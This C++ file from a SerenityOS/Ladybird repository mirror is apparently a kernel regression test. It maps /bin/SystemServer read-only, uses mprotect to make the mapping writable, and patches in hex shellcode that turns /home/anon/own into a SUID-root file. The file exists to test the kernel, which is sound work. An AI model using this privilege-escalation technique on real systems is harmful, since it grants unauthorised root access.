mirror of
https://github.com/LadybirdBrowser/ladybird.git
synced 2024-11-22 15:40:19 +00:00
fd0dbd1ebf
With the goal of centralizing all tests in the system, this is a first step to establish a Tests sub-tree. It will contain all of the unit tests and test harnesses for the various components in the system.
76 lines
1.7 KiB
C++
76 lines
1.7 KiB
C++
/*
|
|
* Copyright (c) 2018-2020, the SerenityOS developers.
|
|
*
|
|
* SPDX-License-Identifier: BSD-2-Clause
|
|
*/
|
|
|
|
#include <AK/Types.h>
|
|
#include <fcntl.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <sys/mman.h>
|
|
#include <unistd.h>
|
|
|
|
int main()
|
|
{
|
|
int fd = open("/bin/SystemServer", O_RDONLY);
|
|
if (fd < 0) {
|
|
perror("open");
|
|
return 1;
|
|
}
|
|
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
|
|
if (ptr == MAP_FAILED) {
|
|
perror("mmap");
|
|
return 1;
|
|
}
|
|
|
|
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
|
|
perror("mprotect");
|
|
return 1;
|
|
}
|
|
|
|
/*
|
|
*
|
|
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
|
|
* It does two things:
|
|
*
|
|
* chown ("/home/anon/own", 0, 0);
|
|
* chmod ("/home/anon/own", 04755);
|
|
*
|
|
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
|
|
*
|
|
*/
|
|
|
|
#if 0
|
|
[bits 32]
|
|
[org 0x0804b111]
|
|
jmp $+17
|
|
path:
|
|
db "/home/anon/own", 0
|
|
mov eax, 79
|
|
mov edx, path
|
|
mov ecx, 0
|
|
mov ebx, 0
|
|
int 0x82
|
|
mov eax, 67
|
|
mov edx, path
|
|
mov ecx, 15
|
|
mov ebx, 2541
|
|
int 0x82
|
|
ret
|
|
#endif
|
|
|
|
const u8 payload[] = {
|
|
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
|
|
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
|
|
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
|
|
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
|
|
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
|
|
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
|
|
};
|
|
|
|
memcpy(&ptr[0x3111], payload, sizeof(payload));
|
|
|
|
printf("ok\n");
|
|
return 0;
|
|
}
|